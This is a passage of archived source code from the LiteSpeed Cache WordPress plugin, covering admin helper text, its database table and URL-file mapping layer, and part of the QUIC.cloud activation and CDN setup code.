'This setting is %1$s for certain qualifying requests due to %2$s!', 'litespeed-cache' ), '<code>' . esc_html__( 'ON', 'litespeed-cache' ) . '</code>', esc_html( Lang::title( Base::O_GUEST_OPTM ) ) ) ); self::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/general/#guest-optimization' ); echo '</font>'; } /** * Warn that changes affect the crawler list. * * @since 4.3 * @return void */ public static function crawler_affected() { echo '<span class="litespeed-primary">'; echo '⚠️ ' . esc_html__( 'This setting will regenerate crawler list and clear the disabled list!', 'litespeed-cache' ); echo '</span>'; } /** * Privacy policy text for front-end disclosure. * * @since 2.2.7 * * @return string Safe HTML string. */ public static function privacy_policy() { $text = esc_html__( 'This site utilizes caching in order to facilitate a faster response time and better user experience. Caching potentially stores a duplicate copy of every web page that is on display on this site. All cache files are temporary, and are never accessed by any third party, except as necessary to obtain technical support from the cache plugin vendor. Cache files expire on a schedule set by the site administrator, but may easily be purged by the admin before their natural expiration, if necessary. We may use QUIC.cloud services to process & cache your data temporarily.', 'litespeed-cache' ); $link = sprintf( /* translators: %s: QUIC.cloud privacy policy URL */ esc_html__( 'Please see %s for more details.', 'litespeed-cache' ), sprintf( '<a href="%1$s" target="_blank" rel="noopener noreferrer">%1$s</a>', esc_url( 'https://quic.cloud/privacy-policy/' ) ) ); // Return as HTML (link already escaped). return $text . ' ' . $link; } /** * Render (or return) a "Learn more" link. * * @since 2.4.2 * * @param string $url Destination URL. * @param string $title Optional link text. Defaults to "Learn More". * @param bool $self_tab Open in self tab or new tab (adds target/_blank + rel). * @param string $css_class CSS class for the anchor. * @param bool $return_output Return instead of echo. * @return string|void */ public static function learn_more( $url, $title = '', $self_tab = false, $css_class = '', $return_output = false ) { $css_class = $css_class ? $css_class : 'litespeed-learn-more'; $title = $title ? $title : esc_html__( 'Learn More', 'litespeed-cache' ); $target_rel = $self_tab ? '' : ' target="_blank" rel="noopener noreferrer"'; $anchor = sprintf( ' <a href="%s"%s class="%s">%s</a>', esc_url( $url ), $target_rel, // Already hardcoded/safe. esc_attr( $css_class ), wp_kses_post( $title ) ); if ( $return_output ) { return $anchor; } echo wp_kses_post( $anchor ); } /** * Output "One per line." helper text. * * @since 3.0 * * @param bool $return_output Return the string instead of echoing. * @return string|void */ public static function one_per_line( $return_output = false ) { $str = esc_html__( 'One per line.', 'litespeed-cache' ); if ( $return_output ) { return $str; } echo esc_html( $str ); } /** * Output helper text about full/partial URL support. * * @since 3.4 * * @param bool $string_only If true, say "strings" only; otherwise specify URLs/strings. * @return void */ public static function full_or_partial_url( $string_only = false ) { if ( $string_only ) { echo esc_html__( 'Both full and partial strings can be used.', 'litespeed-cache' ); } else { echo esc_html__( 'Both full URLs and partial strings can be used.', 'litespeed-cache' ); } } /** * Notice that a setting will edit .htaccess. * * @since 3.0 * @return void */ public static function notice_htaccess() { echo '<span class="litespeed-primary">'; echo '⚠️ ' . esc_html__( 'This setting will edit the .htaccess file.', 'litespeed-cache' ) . ' '; self::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/toolbox/#edit-htaccess-tab' ); echo '</span>'; } /** * Gentle reminder that QUIC.cloud queues are asynchronous. * * @since 5.3.1 * * @param bool $return_output Return the HTML instead of echoing. * @return string|void */ public static function queue_issues( $return_output = false ) { $link = self::learn_more( 'https://docs.litespeedtech.com/lscache/lscwp/troubleshoot/#quiccloud-queue-issues', '', false, '', true ); $html = sprintf( '<div class="litespeed-desc">%s %s</div>', esc_html__( 'The queue is processed asynchronously. It may take time.', 'litespeed-cache' ), $link // already escaped. ); if ( $return_output ) { return $html; } echo wp_kses_post( $html ); } } �������������������������������������������������������plugins/litespeed-cache/src/data.cls.php������������������������������������������������������������0000644�����������������00000054322�15233526476�0014260 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * LiteSpeed persistent data manager. * * Handles DB tables, schema upgrades, URL-to-file mappings, and list loaders. * * @package LiteSpeed * @since 1.3.1 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Data layer for LiteSpeed Cache. */ class Data extends Root { const LOG_TAG = '🚀'; /** * Versioned DB updaters for network-wide options. * * @var array<string,array<string>> */ private $_db_updater = [ '5.3-a5' => [ 'litespeed_update_5_3' ], '7.0-b26' => [ 'litespeed_update_7' ], '7.0.1-b1' => [ 'litespeed_update_7_0_1' ], '7.7-b28' => [ 'litespeed_update_7_7' ], ]; /** * Versioned DB updaters for per-site options in multisite. * * @var array<string,array<string>> */ private $_db_site_updater = [ // '2.0' => [ 'litespeed_update_site_2_0' ], ]; /** * Map from URL-file type to integer code. * * @var array<string,int> */ private $_url_file_types = [ 'css' => 1, 'js' => 2, 'ccss' => 3, 'ucss' => 4, ]; /** Table: image optimization results. */ const TB_IMG_OPTM = 'litespeed_img_optm'; /** Table: image optimization working queue. */ const TB_IMG_OPTMING = 'litespeed_img_optming'; /** Table: cached avatars. */ const TB_AVATAR = 'litespeed_avatar'; /** Table: crawler URLs. */ const TB_CRAWLER = 'litespeed_crawler'; /** Table: crawler blacklist. */ const TB_CRAWLER_BLACKLIST = 'litespeed_crawler_blacklist'; /** Table: logical URLs. */ const TB_URL = 'litespeed_url'; /** Table: URL → generated file mapping. */ const TB_URL_FILE = 'litespeed_url_file'; /** * Constructor. * * @since 1.3.1 */ public function __construct() {} /** * Ensure required tables exist based on current configuration. * * Called on activation and when options are (re)loaded. * * @since 3.0 * @access public * @return void */ public function correct_tb_existence() { // Gravatar. if ( $this->conf( Base::O_DISCUSS_AVATAR_CACHE ) ) { $this->tb_create( 'avatar' ); } // Crawler. if ( $this->conf( Base::O_CRAWLER ) ) { $this->tb_create( 'crawler' ); $this->tb_create( 'crawler_blacklist' ); } // URL mapping. $this->tb_create( 'url' ); $this->tb_create( 'url_file' ); // Image optm tables are managed on-demand. } /** * Upgrade global configuration/data to match plugin version. * * @since 3.0 * @access public * * @param string $ver Currently stored version string. * @return string|void 'upgrade' on success, or void if no-op. */ public function conf_upgrade( $ver ) { // Skip count check if `Use Primary Site Configurations` is on (deprecated note kept intentionally). if ( $this->_get_upgrade_lock() ) { return; } $this->_set_upgrade_lock( true ); require_once LSCWP_DIR . 'src/data.upgrade.func.php'; // Init log manually. if ( $this->conf( Base::O_DEBUG ) ) { $this->cls( 'Debug2' )->init(); } foreach ( $this->_db_updater as $k => $v ) { if ( version_compare( $ver, $k, '<' ) ) { foreach ( $v as $v2 ) { self::debug( "Updating [ori_v] $ver \t[to] $k \t[func] $v2" ); call_user_func( $v2 ); } } } // Reload options. $this->cls( 'Conf' )->load_options(); $this->correct_tb_existence(); // Update related files. $this->cls( 'Activation' )->update_files(); // Update version to latest. Conf::delete_option( Base::_VER ); Conf::add_option( Base::_VER, Core::VER ); self::debug( 'Updated version to ' . Core::VER ); $this->_set_upgrade_lock( false ); if ( ! defined( 'LSWCP_EMPTYCACHE' ) ) { define( 'LSWCP_EMPTYCACHE', true ); } Purge::purge_all(); return 'upgrade'; } /** * Upgrade per-site configuration/data to match plugin version (multisite). * * @since 3.0 * @access public * * @param string $ver Currently stored version string. * @return void */ public function conf_site_upgrade( $ver ) { if ( $this->_get_upgrade_lock() ) { return; } $this->_set_upgrade_lock( true ); require_once LSCWP_DIR . 'src/data.upgrade.func.php'; foreach ( $this->_db_site_updater as $k => $v ) { if ( version_compare( $ver, $k, '<' ) ) { foreach ( $v as $v2 ) { self::debug( "Updating site [ori_v] $ver \t[to] $k \t[func] $v2" ); call_user_func( $v2 ); } } } // Reload options. $this->cls( 'Conf' )->load_site_options(); Conf::delete_site_option( Base::_VER ); Conf::add_site_option( Base::_VER, Core::VER ); self::debug( 'Updated site_version to ' . Core::VER ); $this->_set_upgrade_lock( false ); if ( ! defined( 'LSWCP_EMPTYCACHE' ) ) { define( 'LSWCP_EMPTYCACHE', true ); } Purge::purge_all(); } /** * Whether an upgrade lock is in effect. * * @since 3.0.1 * @return int|false Timestamp if locked and recent, false otherwise. */ private function _get_upgrade_lock() { $is_upgrading = (int) get_option( 'litespeed.data.upgrading' ); if ( ! $is_upgrading ) { $this->_set_upgrade_lock( false ); // Seed option to avoid repeated DB reads later. } if ( $is_upgrading && ( time() - $is_upgrading ) < 3600 ) { return $is_upgrading; } return false; } /** * Show the upgrading banner if upgrade script is running. * * @since 3.0.1 * @return void */ public function check_upgrading_msg() { $is_upgrading = $this->_get_upgrade_lock(); if ( ! $is_upgrading ) { return; } Admin_Display::info( sprintf( /* translators: %s: time string */ __( 'The database has been upgrading in the background since %s. This message will disappear once upgrade is complete.', 'litespeed-cache' ), '<code>' . Utility::readable_time( $is_upgrading ) . '</code>' ) . ' [LiteSpeed]', true ); } /** * Set/clear the upgrade process lock. * * @since 3.0.1 * * @param bool $lock True to set, false to clear. * @return void */ private function _set_upgrade_lock( $lock ) { if ( ! $lock ) { update_option( 'litespeed.data.upgrading', -1 ); } else { update_option( 'litespeed.data.upgrading', time() ); } } /** * Get a fully-qualified table name by slug. * * @since 3.0 * @access public * * @param string $tb Table slug (e.g., 'url_file'). * @return string|null */ public function tb( $tb ) { global $wpdb; switch ( $tb ) { case 'img_optm': return $wpdb->prefix . self::TB_IMG_OPTM; case 'img_optming': return $wpdb->prefix . self::TB_IMG_OPTMING; case 'avatar': return $wpdb->prefix . self::TB_AVATAR; case 'crawler': return $wpdb->prefix . self::TB_CRAWLER; case 'crawler_blacklist': return $wpdb->prefix . self::TB_CRAWLER_BLACKLIST; case 'url': return $wpdb->prefix . self::TB_URL; case 'url_file': return $wpdb->prefix . self::TB_URL_FILE; default: return null; } } /** * Check if a table exists. * * @since 3.0 * @access public * * @param string $tb Table slug. * @return bool */ public function tb_exist( $tb ) { global $wpdb; $save_state = $wpdb->suppress_errors; $wpdb->suppress_errors( true ); $describe = $wpdb->get_var( 'DESCRIBE `' . $this->tb( $tb ) . '`' ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $wpdb->suppress_errors( $save_state ); return null !== $describe; } /** * Get the SQL structure (columns/indexes) for a given table slug. * * @since 2.0 * @access private * * @param string $tb Table slug. * @return string SQL columns/indexes definition. */ private function _tb_structure( $tb ) { return File::read( LSCWP_DIR . 'src/data_structure/' . $tb . '.sql' ); } /** * Create a table by slug if it doesn't exist. * * @since 3.0 * @access public * * @param string $tb Table slug. * @return void */ public function tb_create( $tb ) { global $wpdb; self::debug2( '[Data] Checking table ' . $tb ); // Check if table exists first. if ( $this->tb_exist( $tb ) ) { self::debug2( '[Data] Existed' ); return; } self::debug( 'Creating ' . $tb ); $sql = sprintf( 'CREATE TABLE IF NOT EXISTS `%1$s` (%2$s) %3$s;', $this->tb( $tb ), $this->_tb_structure( $tb ), $wpdb->get_charset_collate() ); $res = $wpdb->query( $sql ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( false === $res ) { self::debug( 'Warning! Creating table failed!', $sql ); Admin_Display::error( Error::msg( 'failed_tb_creation', [ '<code>' . $tb . '</code>', '<code>' . $sql . '</code>' ] ) ); } } /** * Drop a table by slug. * * @since 3.0 * @access public * * @param string $tb Table slug. * @return void */ public function tb_del( $tb ) { global $wpdb; if ( ! $this->tb_exist( $tb ) ) { return; } self::debug( 'Deleting table ' . $tb ); $q = 'DROP TABLE IF EXISTS ' . $this->tb( $tb ); $wpdb->query( $q ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Drop all generated tables (except image optimization working tables). * * @since 3.0 * @access public * @return void */ public function tables_del() { $this->tb_del( 'avatar' ); $this->tb_del( 'crawler' ); $this->tb_del( 'crawler_blacklist' ); $this->tb_del( 'url' ); $this->tb_del( 'url_file' ); // Deleting img_optm only can be done when destroy all optm images } /** * TRUNCATE a table by slug. * * @since 4.0 * @access public * * @param string $tb Table slug. * @return void */ public function table_truncate( $tb ) { global $wpdb; $q = 'TRUNCATE TABLE ' . $this->tb( $tb ); $wpdb->query( $q ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Clean URL-file rows for a given file type and prune orphaned URLs. * * @since 4.0 * @access public * * @param string $file_type One of 'css','js','ccss','ucss'. * @return void */ public function url_file_clean( $file_type ) { global $wpdb; if ( ! $this->tb_exist( 'url_file' ) ) { return; } if ( ! isset( $this->_url_file_types[ $file_type ] ) ) { return; } $type = $this->_url_file_types[ $file_type ]; $tb_url = $this->tb( 'url' ); $tb_url_file = $this->tb( 'url_file' ); // Delete all of this type. $q = "DELETE FROM `$tb_url_file` WHERE `type` = %d"; $wpdb->query( $wpdb->prepare( $q, $type ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // Prune orphaned rows in URL table. $sql = "DELETE d FROM `{$tb_url}` AS d LEFT JOIN `{$tb_url_file}` AS f ON d.`id` = f.`url_id` WHERE f.`url_id` IS NULL"; $wpdb->query( $sql ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } /** * Persist (or rotate) the mapping from URL+vary to a generated file. * * @since 4.0 * @access public * * @param string $request_url Full request URL. * @param string $vary Vary string (may be long; will be md5 if >32). * @param string $file_type One of 'css','js','ccss','ucss'. * @param string $filecon_md5 MD5 of the generated file content. * @param string $path Base path where files live. * @param bool $mobile Whether mapping is for mobile. * @param bool $webp Whether mapping is for webp. * @return void */ public function save_url( $request_url, $vary, $file_type, $filecon_md5, $path, $mobile = false, $webp = false ) { global $wpdb; if ( strlen( $vary ) > 32 ) { $vary = md5( $vary ); } if ( ! isset( $this->_url_file_types[ $file_type ] ) ) { return; } $type = $this->_url_file_types[ $file_type ]; $tb_url = $this->tb( 'url' ); $tb_url_file = $this->tb( 'url_file' ); // Ensure URL row exists. $q = "SELECT * FROM `$tb_url` WHERE url=%s"; $url_row = $wpdb->get_row( $wpdb->prepare( $q, $request_url ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( ! $url_row ) { $q = "INSERT INTO `$tb_url` SET url=%s"; $wpdb->query( $wpdb->prepare( $q, $request_url ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared $url_id = (int) $wpdb->insert_id; } else { $url_id = (int) $url_row['id']; } // Active mapping (not expired). $q = "SELECT * FROM `$tb_url_file` WHERE url_id=%d AND vary=%s AND type=%d AND expired=0"; $file_row = $wpdb->get_row( $wpdb->prepare( $q, [ $url_id, $vary, $type ] ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // No change needed if filename matches. if ( $file_row && $file_row['filename'] === $filecon_md5 ) { return; } // If the new file MD5 is currently marked expired elsewhere, clear those records. $q = "DELETE FROM `$tb_url_file` WHERE filename = %s AND expired > 0"; $wpdb->query( $wpdb->prepare( $q, $filecon_md5 ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // If another live row already uses the same filename, switch current row to that filename. if ( $file_row ) { $q = "SELECT id FROM `$tb_url_file` WHERE filename = %s AND expired = 0 AND id != %d LIMIT 1"; $exists_id = $wpdb->get_var( $wpdb->prepare( $q, [ $file_row['filename'], (int) $file_row['id'] ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( $exists_id ) { $q = "UPDATE `$tb_url_file` SET filename=%s WHERE id=%d"; $wpdb->query( $wpdb->prepare( $q, [ $filecon_md5, (int) $file_row['id'] ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return; } } // Insert a new mapping row. $q = "INSERT INTO `$tb_url_file` SET url_id=%d, vary=%s, filename=%s, type=%d, mobile=%d, webp=%d, expired=0"; $wpdb->query( $wpdb->prepare( $q, [ $url_id, $vary, $filecon_md5, $type, $mobile ? 1 : 0, $webp ? 1 : 0 ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // Mark previous mapping as expiring (to be deleted later). if ( $file_row ) { $q = "UPDATE `$tb_url_file` SET expired=%d WHERE id=%d"; $expired = time() + ( 86400 * apply_filters( 'litespeed_url_file_expired_days', 20 ) ); $wpdb->query( $wpdb->prepare( $q, [ $expired, (int) $file_row['id'] ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared // Delete already-expired files for this URL. $q = "SELECT * FROM `$tb_url_file` WHERE url_id = %d AND expired BETWEEN 1 AND %d"; $q = $wpdb->prepare( $q, [ $url_id, time() ] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $list = $wpdb->get_results( $q, ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( $list ) { foreach ( $list as $v ) { $ext = 'js' === $file_type ? 'js' : 'css'; $file_to_del = trailingslashit( $path ) . $v['filename'] . '.' . $ext; if ( file_exists( $file_to_del ) ) { self::debug( 'Delete expired unused file: ' . $file_to_del ); wp_delete_file( $file_to_del ); } } $q = "DELETE FROM `$tb_url_file` WHERE url_id = %d AND expired BETWEEN 1 AND %d"; $wpdb->query( $wpdb->prepare( $q, [ $url_id, time() ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } } } /** * Load the stored filename (md5) for a given URL/vary/type, if active. * * @since 4.0 * @access public * * @param string $request_url Full request URL or tag. * @param string $vary Vary string (may be md5 if previously stored). * @param string $file_type One of 'css','js','ccss','ucss'. * @return string|false Filename md5 (without extension) or false if none. */ public function load_url_file( $request_url, $vary, $file_type ) { global $wpdb; if ( strlen( $vary ) > 32 ) { $vary = md5( $vary ); } if ( ! isset( $this->_url_file_types[ $file_type ] ) ) { return false; } $type = $this->_url_file_types[ $file_type ]; self::debug2( 'load url file: ' . $request_url ); $tb_url = $this->tb( 'url' ); $q = "SELECT * FROM `$tb_url` WHERE url=%s"; $url_row = $wpdb->get_row( $wpdb->prepare( $q, $request_url ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( ! $url_row ) { return false; } $url_id = (int) $url_row['id']; $tb_url_file = $this->tb( 'url_file' ); $q = "SELECT * FROM `$tb_url_file` WHERE url_id=%d AND vary=%s AND type=%d AND expired=0"; $file_row = $wpdb->get_row( $wpdb->prepare( $q, [ $url_id, $vary, $type ] ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( ! $file_row ) { return false; } return $file_row['filename']; } /** * Mark all UCSS entries of one URL as expired (optionally return existing rows). * * @since 4.5 * @access public * * @param string $request_url Target URL. * @param bool $auto_q If true, return existing active rows before expiring. * @return array Existing rows if $auto_q, otherwise empty array. */ public function mark_as_expired( $request_url, $auto_q = false ) { global $wpdb; $tb_url = $this->tb( 'url' ); self::debug( 'Try to mark as expired: ' . $request_url ); $q = "SELECT * FROM `$tb_url` WHERE url=%s"; $url_row = $wpdb->get_row( $wpdb->prepare( $q, $request_url ), ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared if ( ! $url_row ) { return []; } self::debug( 'Mark url_id=' . $url_row['id'] . ' as expired' ); $tb_url_file = $this->tb( 'url_file' ); $existing_url_files = []; if ( $auto_q ) { $q = "SELECT a.*, b.url FROM `$tb_url_file` a LEFT JOIN `$tb_url` b ON b.id=a.url_id WHERE a.url_id=%d AND a.type=%d AND a.expired=0"; $q = $wpdb->prepare( $q, [ (int) $url_row['id'], $this->_url_file_types['ucss'] ] ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared $existing_url_files = $wpdb->get_results( $q, ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared } $q = "UPDATE `$tb_url_file` SET expired=%d WHERE url_id=%d AND type=%d AND expired=0"; $expired = time() + 86400 * apply_filters( 'litespeed_url_file_expired_days', 20 ); $wpdb->query( $wpdb->prepare( $q, [ $expired, (int) $url_row['id'], $this->_url_file_types['ucss'] ] ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.PreparedSQL.NotPrepared return $existing_url_files; } /** * Merge CSS excludes from file into the given list. * * @since 3.6 * * @param array $list_in Existing list. * @return array */ public function load_css_exc( $list_in ) { $data = $this->_load_per_line( 'css_excludes.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge CCSS selector whitelist from file into the given list. * * @since 7.1 * * @param array $list_in Existing list. * @return array */ public function load_ccss_whitelist( $list_in ) { $data = $this->_load_per_line( 'ccss_whitelist.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge UCSS whitelist from file into the given list. * * @since 4.0 * * @param array $list_in Existing list. * @return array */ public function load_ucss_whitelist( $list_in ) { $data = $this->_load_per_line( 'ucss_whitelist.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge JS excludes from file into the given list. * * @since 3.5 * * @param array $list_in Existing list. * @return array */ public function load_js_exc( $list_in ) { $data = $this->_load_per_line( 'js_excludes.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge JS defer excludes from file into the given list. * * @since 3.6 * * @param array $list_in Existing list. * @return array */ public function load_js_defer_exc( $list_in ) { $data = $this->_load_per_line( 'js_defer_excludes.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge OPTM URI excludes from file into the given list. * * @since 5.4 * * @param array $list_in Existing list. * @return array */ public function load_optm_uri_exc( $list_in ) { $data = $this->_load_per_line( 'optm_uri_exc.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge ESI nonces from file into the given list. * * @since 3.5 * * @param array $list_in Existing list. * @return array */ public function load_esi_nonces( $list_in ) { $data = $this->_load_per_line( 'esi.nonces.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Merge "nocacheable" cache keys from file into the given list. * * @since 6.3.0.1 * * @param array $list_in Existing list. * @return array */ public function load_cache_nocacheable( $list_in ) { $data = $this->_load_per_line( 'cache_nocacheable.txt' ); if ( $data ) { $list_in = array_unique( array_filter( array_merge( $list_in, $data ) ) ); } return $list_in; } /** * Load a data file and return non-empty lines, stripping comments. * * Supports: * - `# comment` * - `##comment` * * @since 3.5 * @access private * * @param string $file Relative filename under the plugin /data directory. * @return array<int,string> */ private function _load_per_line( $file ) { $data = File::read( LSCWP_DIR . 'data/' . $file ); $data = explode( PHP_EOL, $data ); $list = []; foreach ( $data as $v ) { // Drop two kinds of comments. if ( false !== strpos( $v, '##' ) ) { $v = trim( substr( $v, 0, strpos( $v, '##' ) ) ); } if ( false !== strpos( $v, '# ' ) ) { $v = trim( substr( $v, 0, strpos( $v, '# ' ) ) ); } if ( ! $v ) { continue; } $list[] = $v; } return $list; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������plugins/litespeed-cache/src/cloud-auth.trait.php����������������������������������������������������0000644�����������������00000022610�15233526476�0015751 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Cloud auth trait * * @package LiteSpeed * @since 7.8 */ namespace LiteSpeed; defined( 'WPINC' ) || exit(); /** * Trait Cloud_Auth * * Handles QUIC.cloud activation, authentication, and CDN setup. */ trait Cloud_Auth { use Cloud_Auth_Callback; use Cloud_Auth_IP; /** * Init QC setup preparation * * @since 7.0 */ public function init_qc_prepare() { if ( empty( $this->_summary['sk_b64'] ) ) { $keypair = sodium_crypto_sign_keypair(); $pk = base64_encode( sodium_crypto_sign_publickey( $keypair ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode $sk = base64_encode( sodium_crypto_sign_secretkey( $keypair ) ); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode $this->_summary['pk_b64'] = $pk; $this->_summary['sk_b64'] = $sk; $this->save_summary(); // ATM `qc_activated` = null return true; } return false; } /** * Init QC setup * * @since 7.0 */ public function init_qc() { $this->init_qc_prepare(); $ref = $this->_get_ref_url(); // WPAPI REST echo dryrun $echobox = self::post( self::API_REST_ECHO, false, 60 ); if ( false === $echobox ) { self::debugErr( 'REST Echo Failed!' ); $msg = __( "QUIC.cloud's access to your WP REST API seems to be blocked.", 'litespeed-cache' ); Admin_Display::error( $msg ); wp_safe_redirect( $ref ); exit; } self::debug( 'echo succeeded' ); // Load separate thread echoed data from storage if ( empty( $echobox['wpapi_ts'] ) || empty( $echobox['wpapi_signature_b64'] ) ) { Admin_Display::error( __( 'Failed to get echo data from WPAPI', 'litespeed-cache' ) ); wp_safe_redirect( $ref ); exit; } $data = [ 'wp_pk_b64' => $this->_summary['pk_b64'], 'wpapi_ts' => $echobox['wpapi_ts'], 'wpapi_signature_b64' => $echobox['wpapi_signature_b64'], ]; $server_ip = $this->conf( self::O_SERVER_IP ); if ( $server_ip ) { $data['server_ip'] = $server_ip; } // Activation redirect $param = [ 'site_url' => site_url(), 'ver' => Core::VER, 'data' => $data, 'ref' => $ref, ]; wp_safe_redirect( $this->_cloud_server_dash . '/' . self::SVC_U_ACTIVATE . '?data=' . rawurlencode( Utility::arr2str( $param ) ) ); exit; } /** * Decide the ref * * @param string|false $ref Ref slug. * @return string */ private function _get_ref_url( $ref = false ) { $link = 'admin.php?page=litespeed'; if ( 'cdn' === $ref ) { $link = 'admin.php?page=litespeed-cdn'; } if ( 'online' === $ref ) { $link = 'admin.php?page=litespeed-general'; } // phpcs:ignore WordPress.Security.NonceVerification.Recommended $ref_get = ! empty( $_GET['ref'] ) ? sanitize_text_field( wp_unslash( $_GET['ref'] ) ) : ''; if ( $ref_get && 'cdn' === $ref_get ) { $link = 'admin.php?page=litespeed-cdn'; } if ( $ref_get && 'online' === $ref_get ) { $link = 'admin.php?page=litespeed-general'; } return get_admin_url( null, $link ); } /** * Init QC setup (CLI) * * @since 7.0 */ public function init_qc_cli() { $this->init_qc_prepare(); $server_ip = $this->conf( self::O_SERVER_IP ); if ( ! $server_ip ) { self::debugErr( 'Server IP needs to be set first!' ); $msg = sprintf( __( 'You need to set the %1$s first. Please use the command %2$s to set.', 'litespeed-cache' ), '`' . __( 'Server IP', 'litespeed-cache' ) . '`', '`wp litespeed-option set server_ip __your_ip_value__`' ); Admin_Display::error( $msg ); return; } // WPAPI REST echo dryrun $echobox = self::post( self::API_REST_ECHO, false, 60 ); if ( false === $echobox ) { self::debugErr( 'REST Echo Failed!' ); $msg = __( "QUIC.cloud's access to your WP REST API seems to be blocked.", 'litespeed-cache' ); Admin_Display::error( $msg ); return; } self::debug( 'echo succeeded' ); // Load separate thread echoed data from storage if ( empty( $echobox['wpapi_ts'] ) || empty( $echobox['wpapi_signature_b64'] ) ) { self::debug( 'Resp: ', $echobox ); Admin_Display::error( __( 'Failed to get echo data from WPAPI', 'litespeed-cache' ) ); return; } $data = [ 'wp_pk_b64' => $this->_summary['pk_b64'], 'wpapi_ts' => $echobox['wpapi_ts'], 'wpapi_signature_b64' => $echobox['wpapi_signature_b64'], 'server_ip' => $server_ip, ]; $res = $this->post( self::SVC_D_ACTIVATE, $data ); return $res; } /** * Init QC CDN setup (CLI) * * @since 7.0 * * @param string $method Method. * @param string|bool $cert Cert path. * @param string|bool $key Key path. * @param string|bool $cf_token Cloudflare token. */ public function init_qc_cdn_cli( $method, $cert = false, $key = false, $cf_token = false ) { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $server_ip = $this->conf( self::O_SERVER_IP ); if ( ! $server_ip ) { self::debugErr( 'Server IP needs to be set first!' ); $msg = sprintf( __( 'You need to set the %1$s first. Please use the command %2$s to set.', 'litespeed-cache' ), '`' . __( 'Server IP', 'litespeed-cache' ) . '`', '`wp litespeed-option set server_ip __your_ip_value__`' ); Admin_Display::error( $msg ); return; } if ( $cert ) { if ( ! file_exists( $cert ) || ! file_exists( $key ) ) { Admin_Display::error( __( 'Cert or key file does not exist.', 'litespeed-cache' ) ); return; } } $data = [ 'method' => $method, 'server_ip' => $server_ip, ]; if ( $cert ) { $data['cert'] = File::read( $cert ); $data['key'] = File::read( $key ); } if ( $cf_token ) { $data['cf_token'] = $cf_token; } $res = $this->post( self::SVC_D_ENABLE_CDN, $data ); return $res; } /** * Link to QC setup * * @since 7.0 */ public function link_qc() { if ( ! $this->activated() ) { Admin_Display::error( __( 'You need to activate QC first.', 'litespeed-cache' ) ); return; } $data = [ 'wp_ts' => time(), ]; $data['wp_signature_b64'] = $this->_sign_b64( $data['wp_ts'] ); // Activation redirect $param = [ 'site_url' => site_url(), 'ver' => Core::VER, 'data' => $data, 'ref' => 